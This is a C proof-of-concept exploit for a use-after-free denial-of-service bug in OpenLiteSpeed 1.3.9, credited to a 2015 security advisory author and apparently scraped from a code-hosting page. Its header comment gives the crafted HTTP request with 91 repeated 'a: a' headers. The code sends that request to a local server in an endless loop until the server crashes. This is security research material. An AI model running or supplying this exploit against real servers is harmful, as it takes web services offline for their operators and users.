161 lines
No EOL
2.3 KiB
C
161 lines
No EOL
2.3 KiB
C
/*
|
|
* Openlitespeed 1.3.9 Use After Free denial of service exploit.
|
|
*
|
|
* This exploit triggers a denial of service condition within the Openlitespeed web
|
|
* server. This is achieved by sending a tampered request contain a large number (91)
|
|
* of 'a: a' header rows. By looping this request, a memmove call within the HttpReq
|
|
* class is triggered with a freed pointer, resulting in a reference to an invalid
|
|
* memory location and thus a segmentation fault.
|
|
*
|
|
* UAF Request:
|
|
* GET / HTTP/1.0
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
* a: a
|
|
*
|
|
* The above request should be placed into a file name 'uafcrash' prior to running this
|
|
* exploit code.
|
|
*
|
|
* Date: 24/03/2015
|
|
* Author: Denis Andzakovic - Security-Assessment.com
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <sys/socket.h>
|
|
#include <arpa/inet.h>
|
|
#include <errno.h>
|
|
|
|
extern int errno;
|
|
|
|
int main(int argc, char ** argv){
|
|
FILE * fp;
|
|
size_t len = 0;
|
|
char * line;
|
|
if((fp = fopen("uafcrash", "r")) == NULL){
|
|
fprintf(stderr, "[!] Error: Could not open file uafcrash: %s", strerror(errno));
|
|
return 1;
|
|
}
|
|
|
|
char * host = "127.0.0.1";
|
|
int port = 8088;
|
|
int count = 0;
|
|
int sock;
|
|
struct sockaddr_in serv_addr;
|
|
while(1){
|
|
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
|
|
fprintf(stderr, "[!] Error: Could not create socket \n");
|
|
return 1;
|
|
}
|
|
|
|
serv_addr.sin_family = AF_INET;
|
|
serv_addr.sin_port = htons(port);
|
|
inet_pton(AF_INET, host, &serv_addr.sin_addr);
|
|
|
|
if(connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0){
|
|
fprintf(stderr, "[!] Error: Could not connect! Check for server crash! Total cases sent:%d\n", count);
|
|
close(sock);
|
|
return 1;
|
|
}
|
|
while ((getline(&line, &len, fp)) != -1){
|
|
|
|
write(sock, line, strlen(line));
|
|
}
|
|
|
|
close(sock);
|
|
rewind(fp);
|
|
count++;
|
|
}
|
|
|
|
return 42;
|
|
} |